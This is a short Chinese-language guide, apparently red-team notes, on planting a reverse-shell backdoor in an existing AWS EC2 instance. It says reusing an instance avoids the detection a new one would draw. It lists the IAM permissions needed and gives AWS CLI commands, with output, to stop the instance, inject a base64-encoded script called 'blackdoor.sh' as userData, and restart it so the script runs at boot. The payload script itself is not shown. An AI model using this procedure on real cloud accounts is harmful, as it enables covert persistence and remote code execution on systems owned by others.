建立新的EC2 instance做reverse shell並不一直是一個好的主意，首先，新啟動一個EC2很容易被發現。

利用現有instance

必須要有的權限：

ec2:DescribeInstances
ec2:ModifyInstanceAttribute

首先，先暫停ec2，沒有暫停不能修改

> aws ec2 stop-instances --instance-ids {EC2_INSTANCE_IP}

沒暫停的Output

An error occurred (IncorrectInstanceState) when calling the ModifyInstanceAttribute operation: The instance 'i-XXXXXXXXXXXX' is not in the 'stopped' state.

成功暫停的Output

{
    "StoppingInstances": [
        {
            "CurrentState": {
                "Code": 64,
                "Name": "stopping"
            },
            "InstanceId": "i-XXXXXXXXXXXX",
            "PreviousState": {
                "Code": 16,
                "Name": "running"
            }
        }
    ]
}

base64 encode

> base64 -i blackdoor.sh > blackdoor_encoded.sh  # 這是Mac寫法，其他作業系統不要抄錯了

Modify instance attribute

> aws ec2 modify-instance-attribute \                       
    --instance-id i-XXXXXXXXXXXX \  
    --attribute userData \
    --value file://blackdoor_encoded.sh

Start EC2 instance

> aws ec2 start-instances --instance-ids i-09d20a0b2b49d77cc

Output

{
    "StartingInstances": [
        {
            "CurrentState": {
                "Code": 0,
                "Name": "pending"
            },
            "InstanceId": "i-XXXXXXXXXX",
            "PreviousState": {
                "Code": 80,
                "Name": "stopped"
            }
        }
    ]
}

等狀態是執行中或是running的時候就可以進去EC2查看

檢查

/var/log/cloud-init-output.log有沒有出現錯誤
